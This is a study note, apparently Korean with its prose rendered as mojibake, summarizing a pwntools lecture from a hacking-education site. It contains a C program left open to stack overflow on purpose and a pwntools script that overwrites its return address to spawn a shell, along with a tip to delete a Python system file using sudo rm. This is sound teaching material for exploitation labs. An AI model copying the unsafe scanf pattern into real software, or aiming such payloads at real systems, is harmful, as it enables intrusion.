λλ¦Όν΅μμ μ 곡νλ ν¬λλΈ κ°μ μ€ Tool: pwntoolsλ₯Ό μκ°νκ³ μ 리ν κΈμ΄λ€.
$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntoolspython3 -m pip install --upgrade pip μ€ν μ "sudo rm /usr/lib/python3.11/EXTERNALLY-MANAGEDλ‘ ν΄λΉ νμΌ μμ ν΄μ ν΄κ²°ν¨(μ°Έκ³ )
pwntoolsμ 곡μ λ§€λ΄μΌ: https://docs.pwntools.com/en/latest/
process ν¨μλ μ΅μ€νλ‘μμ λ‘컬 λ°μ΄λ리λ₯Ό λμμΌλ‘ ν λ μ¬μ©νλ ν¨μremote ν¨μλ μ격 μλ²λ₯Ό λμμΌλ‘ ν λ μ¬μ©νλ ν¨μsend ν¨μλ λ°μ΄ν°λ₯Ό νλ‘μΈμ€μ μ μ‘νκΈ° μν΄ μ¬μ©send(), sendline(), sendafter(), sendlineafter() λ±recv ν¨μλ νλ‘μΈμ€μμ λ°μ΄ν°λ₯Ό λ°κΈ° μν΄ μ¬μ©recv(), recvline(), recvn(), recvuntil(), recvall() λ±recv() vs recvn()recv(n)μ μ΅λ n λ°μ΄νΈλ₯Ό λ°λ κ²recvn(n)μ μ νν n λ°μ΄νΈμ λ°μ΄ν°λ₯Ό λ°μ λκΉμ§ λκΈ°p32(), p64(), u32(), u64() λ±context.log_level λ³μλ‘ μ‘°μ κ°λ₯// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
#!/usr/bin/python3
#Name: rao.py
from pwn import * # Import pwntools module
p = process('./rao') # Spawn process './rao'
elf = ELF('./rao')
get_shell = elf.symbols['get_shell'] # The address of get_shell()
payload = b'A'*0x30 #| buf | <= 'A'*0x30
payload += b'B'*0x8 #| SFP | <= 'B'*0x8
payload += p64(get_shell) #| Return address | <= '\xaa\x06\x40\x00\x00\x00\x00\x00'
p.sendline(payload) # Send payload to './rao'
p.interactive() # Communicate with shell
